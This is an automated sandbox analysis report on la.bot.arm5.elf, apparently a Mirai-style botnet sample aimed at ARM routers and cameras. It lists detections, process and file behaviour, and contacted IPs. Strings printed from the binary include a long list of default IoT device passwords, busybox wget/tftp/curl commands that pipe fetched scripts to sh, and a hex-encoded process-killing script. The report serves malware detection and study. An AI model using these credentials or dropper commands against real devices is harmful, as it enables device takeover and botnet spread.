Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1541783
MD5: d8acf9db5eaf1c54efe5c13355f75744
SHA1: e1c7cac1a49b150a8b2551fe994f5eb3f6760f6e
SHA256: f137d03a4797d6ba4597980cb25c5b1b0a1443b6c3e277b6e9a8d4f6b595d6b4
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.arm5.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.arm5.elf ReversingLabs: Detection: 42%
Source: la.bot.arm5.elf Virustotal: Detection: 47% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:45860 -> 103.253.147.242:7193
Sample listens on a socket
Source: /tmp/la.bot.arm5.elf (PID: 5413) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 173.141.119.78
Source: unknown TCP traffic detected without corresponding DNS query: 112.12.212.160
Source: unknown TCP traffic detected without corresponding DNS query: 173.141.119.78
Source: unknown TCP traffic detected without corresponding DNS query: 205.61.87.196
Source: unknown TCP traffic detected without corresponding DNS query: 112.12.212.160
Source: unknown TCP traffic detected without corresponding DNS query: 99.35.234.230
Source: unknown TCP traffic detected without corresponding DNS query: 205.61.87.196
Source: unknown TCP traffic detected without corresponding DNS query: 182.154.87.92
Source: unknown TCP traffic detected without corresponding DNS query: 99.35.234.230
Source: unknown TCP traffic detected without corresponding DNS query: 119.7.153.142
Source: unknown TCP traffic detected without corresponding DNS query: 182.154.87.92
Source: unknown TCP traffic detected without corresponding DNS query: 119.7.153.142
Source: unknown TCP traffic detected without corresponding DNS query: 46.125.97.77
Source: unknown TCP traffic detected without corresponding DNS query: 167.95.63.56
Source: unknown TCP traffic detected without corresponding DNS query: 46.125.97.77
Source: unknown TCP traffic detected without corresponding DNS query: 12.160.246.79
Source: unknown TCP traffic detected without corresponding DNS query: 167.95.63.56
Source: unknown TCP traffic detected without corresponding DNS query: 20.253.117.134
Source: unknown TCP traffic detected without corresponding DNS query: 12.160.246.79
Source: unknown TCP traffic detected without corresponding DNS query: 150.151.135.54
Source: unknown TCP traffic detected without corresponding DNS query: 81.236.9.157
Source: unknown TCP traffic detected without corresponding DNS query: 20.253.117.134
Source: unknown TCP traffic detected without corresponding DNS query: 1.8.25.130
Source: unknown TCP traffic detected without corresponding DNS query: 150.151.135.54
Source: unknown TCP traffic detected without corresponding DNS query: 130.152.59.8
Source: unknown TCP traffic detected without corresponding DNS query: 81.1.195.177
Source: unknown TCP traffic detected without corresponding DNS query: 81.236.9.157
Source: unknown TCP traffic detected without corresponding DNS query: 1.8.25.130
Source: unknown TCP traffic detected without corresponding DNS query: 72.126.59.32
Source: unknown TCP traffic detected without corresponding DNS query: 130.152.59.8
Source: unknown TCP traffic detected without corresponding DNS query: 68.137.33.22
Source: unknown TCP traffic detected without corresponding DNS query: 81.1.195.177
Source: unknown TCP traffic detected without corresponding DNS query: 8.130.116.191
Source: unknown TCP traffic detected without corresponding DNS query: 72.126.59.32
Source: unknown TCP traffic detected without corresponding DNS query: 209.195.3.187
Source: unknown TCP traffic detected without corresponding DNS query: 68.137.33.22
Source: unknown TCP traffic detected without corresponding DNS query: 123.133.222.188
Source: unknown TCP traffic detected without corresponding DNS query: 8.130.116.191
Source: unknown TCP traffic detected without corresponding DNS query: 168.179.73.156
Source: unknown TCP traffic detected without corresponding DNS query: 209.195.3.187
Source: unknown TCP traffic detected without corresponding DNS query: 102.246.27.141
Source: unknown TCP traffic detected without corresponding DNS query: 123.133.222.188
Source: unknown TCP traffic detected without corresponding DNS query: 120.95.131.231
Source: unknown TCP traffic detected without corresponding DNS query: 168.179.73.156
Source: unknown TCP traffic detected without corresponding DNS query: 11.67.86.79
Source: unknown TCP traffic detected without corresponding DNS query: 102.246.27.141
Source: unknown TCP traffic detected without corresponding DNS query: 53.227.174.99
Source: unknown TCP traffic detected without corresponding DNS query: 120.95.131.231
Source: unknown TCP traffic detected without corresponding DNS query: 149.84.4.249
Source: unknown TCP traffic detected without corresponding DNS query: 11.67.86.79
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm5.elf (PID: 5437) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal64.evad.linELF@0/0@3/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm5.elf (PID: 5438) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5438) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5437) File opened: /proc/267/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.arm5.elf (PID: 5438) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm5.elf (PID: 5413) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 5413.1.00007fffe8fff000.00007fffe9020000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 5413.1.000056525f60a000.000056525f758000.rw-.sdmp Binary or memory string: b_RV!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5413.1.000056525f60a000.000056525f758000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5413.1.00007fffe8fff000.00007fffe9020000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
1.78.177.53
 unknown Japan 9605 DOCOMONTTDOCOMOINCJP false
35.221.4.30
 unknown United States
15169 GOOGLEUS false
156.107.234.171
 unknown United States
133505 MCKINSEY-AS-APMcKinseyCompanyIN false
7.243.88.27
 unknown United States
3356 LEVEL3US false
25.44.181.115
 unknown United Kingdom
7922 COMCAST-7922US false
145.48.139.110
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
173.204.152.0
 unknown United States
26228 SERVEPATHUS false
112.240.215.123
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
65.55.109.253
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
188.130.120.81
 unknown France
35393 EURO-WEB-ASFR false
170.209.254.123
 unknown United States
11188 LACOUNTY-ISDUS false
31.141.55.145
 unknown Turkey
16135 TURKCELL-ASTurkcellASTR false
42.53.193.194
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
96.78.164.151
 unknown United States
7922 COMCAST-7922US false
100.197.68.24
 unknown United States
21928 T-MOBILE-AS21928US false
4.204.185.20
 unknown United States
3356 LEVEL3US false
180.110.12.197
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
130.152.59.8
 unknown United States
226 LOS-NETTOS-ASUS false
14.199.253.220
 unknown Hong Kong
9269 HKBN-AS-APHongKongBroadbandNetworkLtdHK false
29.241.45.19
 unknown United States
7922 COMCAST-7922US false
77.55.14.212
 unknown Poland
15967 NAZWAPL false
150.176.4.9
 unknown United States
26438 MONROE-COMMUNITY-COLLEGEUS false
7.232.57.118
 unknown United States
3356 LEVEL3US false
71.186.47.242
 unknown United States
701 UUNETUS false
41.145.207.248
 unknown South Africa
5713 SAIX-NETZA false
139.153.53.176
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
187.136.165.130
 unknown Mexico
8151 UninetSAdeCVMX false
27.19.144.52
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
69.174.195.145
 unknown United States
13720 SONYONLINEUS false
112.222.36.134
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
83.179.135.244
 unknown Sweden
1257 TELE2EU false
62.249.223.232
 unknown United Kingdom
8468 ENTANETENTANETInternationalLimitedGB false
220.161.61.204
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
134.213.153.123
 unknown Ireland
15395 RACKSPACE-LONGB false
209.210.66.198
 unknown United States
7385 ALLSTREAMUS false
95.238.87.176
 unknown Italy
3269 ASN-IBSNAZIT false
139.236.90.93
 unknown United States
1462 DNIC-ASBLK-01462-01463US false
171.73.113.28
 unknown United States
32 STANFORDUS false
1.162.227.104
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
223.133.18.51
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
94.174.186.107
 unknown United Kingdom
5089 NTLGB false
85.58.47.9
 unknown Spain
12479 UNI2-ASES false
103.7.73.30
 unknown Australia
55707 SIMTRONIC-AS-APSimtronicAU false
54.224.21.227
 unknown United States
14618 AMAZON-AESUS false
139.123.143.189
 unknown Finland
5619 EVRY-NO false
135.80.233.159
 unknown United States
18676 AVAYAUS false
179.142.53.144
 unknown Brazil
53037 NEXTELTELECOMUNICACOESLTDABR false
95.173.153.12
 unknown Russian Federation
43797 RSNET2-ASRSNET2RU false
7.127.93.110
 unknown United States
3356 LEVEL3US false
120.22.211.197
 unknown Australia
133612 VODAFONE-AS-APVodafoneAustraliaPtyLtdAU false
82.234.176.220
 unknown France
12322 PROXADFR false
45.77.171.70
 unknown United States
20473 AS-CHOOPAUS false
157.63.248.13
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
57.167.41.108
 unknown Belgium
2686 ATGS-MMD-ASUS false
90.176.47.86
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
28.168.94.96
 unknown United States
7922 COMCAST-7922US false
81.95.107.67
 unknown Czech Republic
25234 GLOBE-AShttpwwwactive24czCZ false
123.1.173.143
 unknown Hong Kong
17444 NWT-AS-APASnumberforNewWorldTelephoneLtdHK false
220.216.93.77
 unknown Japan 10010 TOKAITOKAICommunicationsCorporationJP false
121.175.237.49
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
38.230.166.22
 unknown United States
174 COGENT-174US false
100.242.114.182
 unknown United States
21928 T-MOBILE-AS21928US false
1.104.9.227
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
75.172.178.10
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
18.204.120.109
 unknown United States
14618 AMAZON-AESUS false
34.84.240.108
 unknown United States
15169 GOOGLEUS false
205.187.7.123
 unknown United States
7029 WINDSTREAMUS false
176.14.20.133
 unknown Russian Federation
8402 CORBINA-ASOJSCVimpelcomRU false
8.7.242.207
 unknown United States
3356 LEVEL3US false
